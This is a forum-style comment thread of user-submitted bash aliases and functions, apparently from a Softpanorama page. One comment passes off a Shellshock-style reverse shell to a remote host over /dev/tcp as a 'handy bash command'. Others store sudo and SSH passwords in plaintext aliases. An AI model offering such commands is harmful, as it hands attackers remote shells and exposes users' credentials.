    alias hg='history | grep -i'
    
    # cd to the directory a symbolically linked file is in.
    function cdl {
        if [ "x$1" = "x" ] ; then
            echo "Missing Arg"
        elif [ -L "$1" ] ; then
            link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
            if [ "x$link" = "x" ] ; then
                echo "Failed to get link"
                return
            fi
            dirName_=`dirname $link`
            cd "$dirName_"
        else
            echo "$1 is not a symbolic link"
        fi
        return
    }
    # cd to the dir that a file is found in.
    function cdff {
        filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
        if [ "xx${filename}xx" != "xxxx" ] ; then
            dirname=${filename%/*}
            if [ -d $dirname ] ; then
                cd $dirname
            fi
        fi
    }
    
    Reply Link
  • Rich February 28, 2014, 7:21 am
    export EDITOR=vim
    export PAGER=less
    set -o vi
    eval `resize`
    
    # awk tab delim  (escape '\' awk to disable aliased awk)
    tawk='\awk -F "\t" '
    # case insensitive grep
    alias ig="grep --color -i "
    
    
    # ls sort by time
    alias lt="ls -ltr "
    # ls sort by byte size
    alias lS='ls -Slr'
    
    # ps by process grep  (ie. psg chrome)
    alias psg='\ps -ef|grep --color '
    # ps by user 
    alias psu='\ps auxwwf '
    # ps by user with grep (ie. psug budman)
    alias psug='psu|grep --color '
    
    # find broken symlinks
    alias brokenlinks='\find . -xtype l -printf "%p -> %l\n"'
    
    
    # which and less a script (ie. ww backup.ksh)
    function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
    
    # use your own vim cfg (useful when logging in as other id's)
    alias vim="vim -u /home/budman/.vimrc"
    
    Reply Link
  • Rich February 28, 2014, 7:21 am

    For those of you who use Autosys:

    # alias to read log files based on current run date (great for batch autosys jobs)
    # ie.  slog mars-reconcile-job-c
    export RUN_DIR=~/process/dates
    function getRunDate {
        print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
    }
    function getLogFile {
        print -n $RUN_DIR/$(getRunDate)/log/$1.log
    }
    function showLogFile {
        export LOGFILE=$(getLogFile $1);
        print "\nLog File: $LOGFILE\n";
        less -z-4 $LOGFILE;
    }
    alias slog="showLogFile "
    
    
    # Autosys alaises
    alias av="autorep -w -J "
    alias av0="autorep -w -L0 -J "
    alias avq="autorep -w -q -J "
    alias aq0="autorep -w -L0 -q -J "
    alias ava="autorep -w -D PRD_AUTOSYS_A -J "
    alias avc="autorep -w -D PRD_AUTOSYS_C -J "
    alias avt="autorep -w -D PRD_AUTOSYS_T -J "
    alias am="autorep -w -M "
    alias ad="autorep -w -d -J "
    alias jd="job_depends -w -c -J "
    alias jdd="job_depends -w -d -J "
    alias jrh="jobrunhist -J "
    alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias runjob="sendevent -P 1 -E STARTJOB -J "
    alias killjob="sendevent -P 1 -E KILLJOB -J "
    alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
    alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
    alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
    alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
    alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
    alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
    alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
    alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
    alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
    alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
    alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
    alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
    
    Reply Link
  • mithereal March 23, 2014, 10:26 pm

    heres a few i use

    alias killme='slay $USER'
    
    function gi(){
    npm install --save-dev grunt-"$@"
    }
    
    function gci(){
    npm install --save-dev grunt-contrib-"$@"
    }
    
    Reply Link
  • sjas April 27, 2014, 2:20 pm
    alias v='vim'
    alias vi='vim'
    alias e='emacs'
    alias t='tail -n200'
    alias h='head -n20'
    alias g='git'
    alias p='pushd'
    alias o='popd'
    alias d='dirs -v'
    alias rmf='rm -rf'
    
    # ls working colorful on all OS'es
    #linux
    if [[ `uname` == Linux ]]; then
        export LS1='--color=always'
    #mac
    elif [[ `uname` == Darwin* ]]; then
        export LS1='-G'
    #win/cygwin/other
    else 
        export LS1='--color=auto'
    fi
    export LS2='-hF --time-style=long-iso'
    alias l='ls $LS1 $LS2 -AB'
    
    Reply Link
  • jfb May 24, 2014, 2:07 pm

    Here is one to do a update and upgrade with no user input. Just insert your sudo
    password for yourpassword

    alias udug='echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y'

    Reply Link
  • Xdept July 2, 2014, 2:14 am

    Hey, Just wanted to add my 5 cents.

    I use this to make me think before rebooting/shutting down hosts;

    alias reboot='echo "Are you sure you want to reboot host `hostname` [y/N]?" && read reboot_answer && if [ "$reboot_answer" == y ]; then /sbin/reboot; fi'

    alias shutdown='echo "Are you sure you want to shutdown host `hostname` [y/N]?" && read shutdown_answer && if [ "$shutdown_answer" == y ]; then /sbin/shutdown -h now; fi'

    Reply Link
  • Niall July 23, 2014, 12:09 am

    Thank you. Great list.

    Reply Link
  • David August 22, 2014, 12:41 am

    #2: Control cd command behavior

    ## get rid of command not found ##
    alias cd..='cd ..'

    ## a quick way to get out of current directory ##
    alias ..='cd ..'
    alias …='cd ../../../'
    alias ….='cd ../../../../'
    alias …..='cd ../../../../' <– typo, I think you meant to add an extra level of ../ to this!
    alias .4='cd ../../../../'
    alias .5='cd ../../../../..'

    Reply Link
  • Lyo Mi September 26, 2014, 5:50 pm

    There's another handy bash command I've come by recently in the past days.

    () { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1
    Reply Link
  • James November 11, 2014, 1:58 am

    Here are a couple that I have to make installing software on Ubuntu easier:

    alias sdfind='~/bin/sdfind.sh'
    alias sdinst='sudo apt-get install'
    Reply Link
  • EricC November 15, 2014, 10:38 pm

    Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

    Reply Link
  • hiatus November 20, 2014, 12:19 am

    # Find all IP addresses connected to your network

    alias netcheck='nmap -sP $(ip -o addr show | grep inet\  | grep eth | cut -d\  -f 7)'
    Reply Link
  • hiatus November 20, 2014, 12:22 am

    # See real time stamp when running dmesg

    alias dmesg='dmesg|perl -ne "BEGIN{\$a= time()- qx:cat /proc/uptime:};s/\[\s*(\d+)\.\d+\]/localtime(\$1 + \$a)/e; print \$_;" | sed -e "s|\(^.*"`date +%Y`" \)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g"'
    Reply Link
  • faegt November 20, 2014, 11:05 am

    You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

    Reply Link
  • hiatus November 20, 2014, 9:11 pm

    # Nice readable way to see memory usage

    alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'
    Reply Link
  • hiatus November 20, 2014, 11:57 pm

    # Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

    myusb () { usb_array=();while read -r -d $'\n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname \*usb\*scsi\* -not -iname \*usb\*scsi\*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }
    
    Reply Link
  • koosha December 7, 2014, 4:00 am

    And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

    Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

    Reply Link
  • Andreas Dunker January 13, 2015, 9:15 am

    It's a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

    alias gr="grep -E -i –color"

    And remember the man page:
    "For almost every purpose, aliases are superseded by shell functions."

    Reply Link
  • proz January 27, 2015, 5:55 pm

    Is passing all commands via sudo safe?

    Reply Link
  • Oliver February 13, 2015, 11:31 am

    Sometimes when working with text files this is quite helpful:

    alias top10="sort|uniq -c|sort -n -r|head -n 10″

    Reply Link
  • DT April 27, 2015, 1:50 pm

    # list usernames
    alias lu="awk -F: '{ print \$1}' /etc/passwd"

    Reply Link
  • some guy August 15, 2015, 3:15 pm
    # better ls
    alias ls='ls -lAi --group-directories-first --color='always''
    
    # make basic commands interactive and verbose
    alias cp='cp -iv'      # interactive
    alias rm='rm -ri'      # interactive
    alias mv='mv -iv'       # interactive, verbose
    alias grep='grep -i --color='always''  # ignore case
    
    # starts nano with line number enabled
    alias nano='nano -c'
    
    # clear screen
    alias cl='clear'
    
    # shows the path variable
    alias path='echo -e ${PATH//:/\\n}'
    
    # Filesystem diskspace usage
    alias dus='df -h'
    
    # quick ssh to raspberry pi
    alias raspi='ssh [email protected]'
    
    # perform 'ls' after 'rm' if successful.
    rmls() {
      rm "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    
    alias rm='rmls'
    
    # reloads changes
    alias rfc='source ~/.bashrc; cl'
    alias rf='source ~/.bashrc'
    
    # perform 'ls' after 'cd' if successful.
    cdls() {
      builtin cd "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    
    alias cd='cdls'
    
    # quick cd back option
    alias ..='cd ..'
    
    # search for a string recursively in any C source files 
    alias src-grep='find . -name "*.[ch]" | xargs grep '
    
    # for easily editting the path variable
    nanopath () 
    { 
        declare TFILE=/tmp/path.$LOGNAME.$$;
        echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE;
        nano $TFILE;
        PATH=`awk ' { if (NR>1) printf ":"
          printf "%s",$1 }' $TFILE`;
        rm -f $TFILE;
        echo $PATH
    }  
    
    alias nanopath='nanopath'
    
    Reply Link
  • some guy August 15, 2015, 3:20 pm

    in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

    ~/nano .bash_aliases
    rmls() {
      rm "$*"
      RESULT=$?
      if [ "$RESULT" -eq 0 ]; then
        ls
      fi
    }
    

    here is a function. and to make an alias for it is as simple as:

    alias name='functionName args'

    so for my example function it would be
    alias rm='rmls'

    Reply Link
  • Natalia October 30, 2015, 3:21 pm

    Great list! There are certainly some I going to use!
    I also have some that maybe are so obvious nobody even finds it worth mentioning…

    But since I'm a lazy beast:
    alias getupdates='sudo apt-get update && sudo apt-get upgrade'
    alias backupstuff='rsync -avhpr --delete-delay /some/location/foo/bar /media/your/remote/location'
    alias enter_some_user='ssh -p 9999 [email protected]'
    
    Reply Link
  • Birch December 24, 2015, 1:58 pm

    Nice!

    Reply Link
  • ipstone December 24, 2015, 2:52 pm

    quick update bashrc etc:
    alias bashrc="vim ~/.bashrc && source ~/.bashrc"

    Reply Link
  • myklmar December 25, 2015, 3:52 pm

    #To play a random collection of music from your music library.
    #(You need to have VLC installed)
    alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'

    Reply Link
  • Code4LifeVn January 1, 2016, 12:11 pm

    Great!…Keep working

    Reply Link
  • Joel Hatcher February 25, 2016, 4:25 pm

    Doing update on Mageia linux

    alias doupdate="urpmi –auto –auto-update"

    Reply Link
  • rain February 28, 2016, 1:35 am

    Whats the weather doing?

    alias rain='curl -4 http://wttr.in'
    alias rain='curl -4 http://wttr.in/London'

    Reply Link
  • Cosmin March 3, 2016, 9:35 am

    Here is a repository with several useful aliases. You may want to have a look: https://github.com/algotech/dotaliases

    Reply Link
  • diyoyo August 26, 2016, 10:26 am

    Thanks.
    Will the aliases appear using the "top" command?
    How would like to see the alias name rather than the command name of the process. Is that possible?
    Cheers.

    Reply Link
  • Sinan November 10, 2016, 10:48 am

    One of my favorite: copy something from command line to clipboard:
    alias c='xsel --clipboard'
    Then use like:
    grep John file_for_contacts | c
    now, john's contact info is copied to the clipboard, etc.

    Reply Link
  • lido December 16, 2016, 8:08 pm

    alias s="sshpass -p'mypassword' ssh"

    Reply Link
  • ychaouche December 26, 2016, 3:42 pm
    # Count the number of files in current dir
    alias lsc='ls -l | wc -l'
    
    # Sort directories by sizes
    alias dush='du -h --max-depth=1 | sort -h'
    
    # Can't see all the files in one page ? 
    alias lsless='ls | less'
    
    # Make a video capture of the desktop
    alias capturedesktop='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0'
    
    # Capture desktop, with sound
    alias capturedesktop_withsound='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0 -f alsa -i hw:0 '
    
    # pastebin from the command line, use it like this : 
    # somecommand | some pipe work | pastebin
    alias pastebin='curl -F "clbin=<-" "https://clbin.com"'
    
    # Only print actual code/configuration
    alias removeblanks="egrep -v '(^[[:space:]]*#|^$|^[[:space:]]*//)'"
    
    # Useful when you want to scp to your own machine from a remote server
    alias myip='ifdata -pa eth1'
    

    Some useful functions too

    function timedelta {
        d1=$1
        d2=$2
        echo $(( ($(date +%s -d $d1) - $(date +%s -d $d2)) / (60 * 60 * 24) ))
    }
    #ychaouche@ychaouche-PC 16:33:12 ~/TMP/NETWORK $ timedelta 2016-12-26 2014-11-16
    #771
    #ychaouche@ychaouche-PC 16:33:42 ~/TMP/NETWORK $ 
    #It's been 771 days since I work in this place.
    
    # Searches inside PDF files
    # searchpdf "term" file1 file2 file3...
    function searchpdf {
        term="$1"
        shift 1
        for file in $@
        do 
    	echo ============================ 
    	echo $file 
    	echo ============================ 
    	pdftotext "$file" - | grep "$term"
        done
    }
    
    # Converts any video to a gif and compresses it.
    
    function vid2gif () {
        video=$1
        name=${video%.*}
        gif="$name".gif
        echo avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
        avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
        echo gifsicle -O3 -U "$gif"- -o "$gif"
        gifsicle -O3 -U "$gif"- -o "$gif"
    }
    
    Reply Link
  • systemBuilder January 6, 2017, 2:00 am

    List files in order of ascending size (the second form takes a file-pattern argument):

    function lsdu() { ls -l $* | sort --key=5.1 -n; };
    function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };

    List the 10 most recently edited/changed files (m = more, a poor-man's more)

    alias lsm='ls -lt | head -n 10'

    List the tasks using the most CPU time

    alias hogs='ps uxga | sort --key=4.1 -n'

    Reply Link
  • Geo PC January 18, 2017, 3:38 pm

    Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.

    So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?

  • Recommended Links

    Google matched content

    Softpanorama Recommended

    Top articles

    Sites

    Top articles

    Sites

    ...

    30 Handy Bash Shell Aliases For Linux - Unix - Mac OS X

    Unix aliases for good and evil Computerworld

    How to use aliases in Linux shell commands Computerworld

    Use alias to create shortcuts for commands - Linux Mint Community



    Etc

    Society

    Groupthink : Two Party System as Polyarchy : Corruption of Regulators : Bureaucracies : Understanding Micromanagers and Control Freaks : Toxic Managers :   Harvard Mafia : Diplomatic Communication : Surviving a Bad Performance Review : Insufficient Retirement Funds as Immanent Problem of Neoliberal Regime : PseudoScience : Who Rules America : Neoliberalism  : The Iron Law of Oligarchy : Libertarian Philosophy

    Quotes

    War and Peace : Skeptical Finance : John Kenneth Galbraith :Talleyrand : Oscar Wilde : Otto Von Bismarck : Keynes : George Carlin : Skeptics : Propaganda  : SE quotes : Language Design and Programming Quotes : Random IT-related quotesSomerset Maugham : Marcus Aurelius : Kurt Vonnegut : Eric Hoffer : Winston Churchill : Napoleon Bonaparte : Ambrose BierceBernard Shaw : Mark Twain Quotes

    Bulletin:

    Vol 25, No.12 (December, 2013) Rational Fools vs. Efficient Crooks The efficient markets hypothesis : Political Skeptic Bulletin, 2013 : Unemployment Bulletin, 2010 :  Vol 23, No.10 (October, 2011) An observation about corporate security departments : Slightly Skeptical Euromaydan Chronicles, June 2014 : Greenspan legacy bulletin, 2008 : Vol 25, No.10 (October, 2013) Cryptolocker Trojan (Win32/Crilock.A) : Vol 25, No.08 (August, 2013) Cloud providers as intelligence collection hubs : Financial Humor Bulletin, 2010 : Inequality Bulletin, 2009 : Financial Humor Bulletin, 2008 : Copyleft Problems Bulletin, 2004 : Financial Humor Bulletin, 2011 : Energy Bulletin, 2010 : Malware Protection Bulletin, 2010 : Vol 26, No.1 (January, 2013) Object-Oriented Cult : Political Skeptic Bulletin, 2011 : Vol 23, No.11 (November, 2011) Softpanorama classification of sysadmin horror stories : Vol 25, No.05 (May, 2013) Corporate bullshit as a communication method  : Vol 25, No.06 (June, 2013) A Note on the Relationship of Brooks Law and Conway Law

    History:

    Fifty glorious years (1950-2000): the triumph of the US computer engineering : Donald Knuth : TAoCP and its Influence of Computer Science : Richard Stallman : Linus Torvalds  : Larry Wall  : John K. Ousterhout : CTSS : Multix OS Unix History : Unix shell history : VI editor : History of pipes concept : Solaris : MS DOSProgramming Languages History : PL/1 : Simula 67 : C : History of GCC developmentScripting Languages : Perl history   : OS History : Mail : DNS : SSH : CPU Instruction Sets : SPARC systems 1987-2006 : Norton Commander : Norton Utilities : Norton Ghost : Frontpage history : Malware Defense History : GNU Screen : OSS early history

    Classic books:

    The Peter Principle : Parkinson Law : 1984 : The Mythical Man-MonthHow to Solve It by George Polya : The Art of Computer Programming : The Elements of Programming Style : The Unix Hater’s Handbook : The Jargon file : The True Believer : Programming Pearls : The Good Soldier Svejk : The Power Elite

    Most popular humor pages:

    Manifest of the Softpanorama IT Slacker Society : Ten Commandments of the IT Slackers Society : Computer Humor Collection : BSD Logo Story : The Cuckoo's Egg : IT Slang : C++ Humor : ARE YOU A BBS ADDICT? : The Perl Purity Test : Object oriented programmers of all nations : Financial Humor : Financial Humor Bulletin, 2008 : Financial Humor Bulletin, 2010 : The Most Comprehensive Collection of Editor-related Humor : Programming Language Humor : Goldman Sachs related humor : Greenspan humor : C Humor : Scripting Humor : Real Programmers Humor : Web Humor : GPL-related Humor : OFM Humor : Politically Incorrect Humor : IDS Humor : "Linux Sucks" Humor : Russian Musical Humor : Best Russian Programmer Humor : Microsoft plans to buy Catholic Church : Richard Stallman Related Humor : Admin Humor : Perl-related Humor : Linus Torvalds Related humor : PseudoScience Related Humor : Networking Humor : Shell Humor : Financial Humor Bulletin, 2011 : Financial Humor Bulletin, 2012 : Financial Humor Bulletin, 2013 : Java Humor : Software Engineering Humor : Sun Solaris Related Humor : Education Humor : IBM Humor : Assembler-related Humor : VIM Humor : Computer Viruses Humor : Bright tomorrow is rescheduled to a day after tomorrow : Classic Computer Humor

    The Last but not Least Technology is dominated by two types of people: those who understand what they do not manage and those who manage what they do not understand ~Archibald Putt. Ph.D


    Copyright © 1996-2021 by Softpanorama Society. www.softpanorama.org was initially created as a service to the (now defunct) UN Sustainable Development Networking Programme (SDNP) without any remuneration. This document is an industrial compilation designed and created exclusively for educational use and is distributed under the Softpanorama Content License. Original materials copyright belong to respective owners. Quotes are made for educational purposes only in compliance with the fair use doctrine.

    FAIR USE NOTICE This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available to advance understanding of computer science, IT technology, economic, scientific, and social issues. We believe this constitutes a 'fair use' of any such copyrighted material as provided by section 107 of the US Copyright Law according to which such material can be distributed without profit exclusively for research and educational purposes.

    This is a Spartan WHYFF (We Help You For Free) site written by people for whom English is not a native language. Grammar and spelling errors should be expected. The site contain some broken links as it develops like a living tree...

    You can use PayPal to to buy a cup of coffee for authors of this site

    Disclaimer:

    The statements, views and opinions presented on this web page are those of the author (or referenced source) and are not endorsed by, nor do they necessarily reflect, the opinions of the Softpanorama society. We do not warrant the correctness of the information provided or its fitness for any purpose. The site uses AdSense so you need to be aware of Google privacy policy. You you do not want to be tracked by Google please disable Javascript for this site. This site is perfectly usable without Javascript.

    Last modified: March, 12, 2019